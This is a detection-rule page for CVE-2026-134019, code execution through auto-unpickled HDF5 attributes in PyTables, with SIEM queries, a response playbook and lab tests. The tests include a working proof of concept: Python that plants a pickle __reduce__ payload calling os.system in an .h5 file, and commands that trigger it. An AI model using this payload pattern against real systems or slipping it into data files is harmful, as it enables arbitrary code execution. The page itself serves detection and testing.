Detect PyTables Remote Code Execution via Auto-Unpickled HDF5 Attributes (CVE-2026-134019) in CrowdStrike LogScale
Detects exploitation of CVE-2026-134019, a critical (CVSS 9.8) insecure-deserialization flaw (CWE-502) in the PyTables Python library (`tables` on PyPI) at versions <= 3.11.1. PyTables automatically unpickles certain HDF5 node/leaf attributes when a file is opened, so a maliciously crafted `.h5`/`.hdf5` file can execute arbitrary code (via `pickle.loads` / `__reduce__`) the moment an application reads it with `tables.open_file()`. Because exploitation occurs in-process at file-open time, detection focuses on Python processes loading the `tables` module while opening untrusted HDF5 files, pickle-reduce driven child process spawns descending from Python, and the arrival of HDF5 files from untrusted sources. No fixed version is available as of disclosure. Mitigate by opening untrusted files with `allow_pickle=False` or setting `tables.parameters.ALLOW_PICKLE = False` to disable auto-unpickling of attributes.
MITRE ATT&CK
- Tactic
- Initial Access Execution
LogScale Detection Query
// df00tech DF00-63b52b508d · https://df00tech.com/detections/CVE-2026-134019 · licence: https://df00tech.com/detections/licence
#event_simpleName=ProcessRollup2
| ParentBaseFileName=/^python3?(w)?(\.exe)?$/i
| ParentCommandLine=/(?i)(tables|\.h5|\.hdf5|open_file)/
| in(field="FileName", values=["sh","bash","cmd.exe","powershell.exe","pwsh","curl","wget","certutil.exe"])
| table([@timestamp, aid, ComputerName, UserName, ParentBaseFileName, ParentCommandLine, FileName, CommandLine]) CrowdStrike CQL (LogScale) query surfacing Python/PyTables parent processes referencing HDF5 files that spawn suspicious children.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate PyTables analytics spawning CLI tools
- Scheduled HDF5 processing invoking helpers
- Analyst notebook subprocess activity
Other platforms for CVE-2026-134019
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Craft malicious HDF5 file with pickle __reduce__ payload (lab)
Expected signal: File-creation event for /tmp/malicious.h5 from a python3 process.
- Test 2 Trigger RCE by opening malicious HDF5 with vulnerable PyTables (lab)
Expected signal: python3 parent process (command line referencing the .h5 file and tables) spawns a shell/`id` child process and creates /tmp/pytables_poc.txt.
- Test 3 Simulate untrusted HDF5 ingestion and open (lab)
Expected signal: python3 process opening /tmp/uploads/incoming.hdf5 from an ingestion directory, followed by child-process spawn if payload present.
Response Playbook
Triage
- Confirm the installed `tables` (PyTables) version on the host with `pip show tables` or `python -c "import tables; print(tables.__version__)"`; any version <= 3.11.1 is vulnerable.
- Identify the HDF5 file (`.h5`/`.hdf5`) that was opened by the alerting Python process and determine its source (upload, email, shared drive, external download) and whether it is from an untrusted party.
- Review the full process tree: confirm the parent Python process loaded `tables` and that the suspicious child process (shell, LOLBin, downloader) was spawned synchronously with the file-open event.
- Check whether the application or service routinely opens user-supplied HDF5 files, which greatly raises exploitation likelihood.
Containment
- Isolate the affected host from the network to prevent follow-on command execution and lateral movement.
- Quarantine the suspected malicious HDF5 file and prevent further processing by the affected application/service.
- No fixed version is available. Disable auto-unpickling by opening files with `allow_pickle=False` or setting `tables.parameters.ALLOW_PICKLE = False`, restart the affected Python services, and refuse HDF5 files from untrusted sources.
Evidence Collection
- Preserve the malicious HDF5 file and compute its hash for analysis of embedded pickle payloads (inspect attribute values for `__reduce__`/`c__builtin__` opcodes).
- Collect process-creation telemetry (Sysmon/EDR) for the Python parent and all descendant processes, including command lines and network connections.
- Capture the Python application logs, working directory contents, and any dropped files or scheduled tasks created by the child process.
Escalation Criteria
- !Escalate to incident response if a child process executed network, encoding, or persistence commands, indicating successful code execution.
- !Escalate if the HDF5 file originated from an external or untrusted source and the host processes multi-tenant or internet-facing uploads.
- !Escalate if evidence of lateral movement, credential access, or data exfiltration is found downstream of the Python process.
Investigation Guide
Forensic Artifacts
- >
The malicious `.h5`/`.hdf5` file and its HDF5 attribute blobs containing serialized pickle payloads - >
Process-creation records linking the Python/PyTables parent to anomalous child processes - >
Any files, scheduled tasks, or persistence artifacts dropped by the spawned child process
Tuning Guidance
Build an allowlist of known data-science hosts and service accounts that legitimately run PyTables, and of the external tools those pipelines spawn, then suppress those parent/child pairs. Tighten the child-process list to high-signal shells and LOLBins in your environment. Where feasible, correlate with the source of the HDF5 file (download/upload events) to prioritize files from untrusted origins, since benign pipelines typically read internal, trusted datasets.
Hunting Queries
Baselines Python processes opening HDF5 files so analysts can spot hosts newly processing untrusted HDF5 input or spawning unexpected children.
// df00tech DF00-63b52b508d · https://df00tech.com/detections/CVE-2026-134019 · licence: https://df00tech.com/detections/licence
DeviceProcessEvents | where InitiatingProcessFileName in~ ("python.exe","python3.exe","pythonw.exe") | where InitiatingProcessCommandLine has_any (".h5",".hdf5","open_file","tables") | summarize count() by DeviceName, InitiatingProcessAccountName, bin(Timestamp, 1h) ``` df00tech DF00-63b52b508d · https://df00tech.com/detections/CVE-2026-134019 · licence: https://df00tech.com/detections/licence ```
index=* sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 (parent_process_name=python* OR process_name=python*) (CommandLine="*.h5*" OR CommandLine="*.hdf5*" OR CommandLine="*open_file*") | stats count by host, user, CommandLine Atomic Red Team Tests
Builds an HDF5 file whose node attribute contains a pickled object that executes a command on auto-unpickle, simulating the CVE-2026-134019 payload.
Command
python3 - <<'PY'
import pickle, h5py
class E:
def __reduce__(self):
import os
return (os.system, ('id > /tmp/pytables_poc.txt',))
with h5py.File('/tmp/malicious.h5','w') as f:
f.attrs['payload'] = pickle.dumps(E())
print('wrote /tmp/malicious.h5')
PY Cleanup
rm -f /tmp/malicious.h5 /tmp/pytables_poc.txt Expected Telemetry
File-creation event for /tmp/malicious.h5 from a python3 process.
Expected Detection
No child-process detection yet (file only created); establishes the payload for the open test.
Opens the crafted HDF5 file with a vulnerable PyTables version so the auto-unpickled attribute executes the embedded command, spawning a child process.
Command
python3 -c "import tables; f=tables.open_file('/tmp/malicious.h5'); print([n for n in f.walk_nodes()]); f.close()" Cleanup
rm -f /tmp/pytables_poc.txt Expected Telemetry
python3 parent process (command line referencing the .h5 file and tables) spawns a shell/`id` child process and creates /tmp/pytables_poc.txt.
Expected Detection
KQL/SPL/EQL rules fire on the Python/PyTables parent spawning a shell child process.
Downloads an HDF5 file to a staging directory and opens it with PyTables, emulating an application that processes externally supplied HDF5 input.
Command
mkdir -p /tmp/uploads && cp /tmp/malicious.h5 /tmp/uploads/incoming.hdf5 && python3 -c "import tables; f=tables.open_file('/tmp/uploads/incoming.hdf5'); f.close()" Cleanup
rm -rf /tmp/uploads Expected Telemetry
python3 process opening /tmp/uploads/incoming.hdf5 from an ingestion directory, followed by child-process spawn if payload present.
Expected Detection
Hunting queries surface Python opening HDF5 from an upload/staging path; child-spawn rules fire on execution.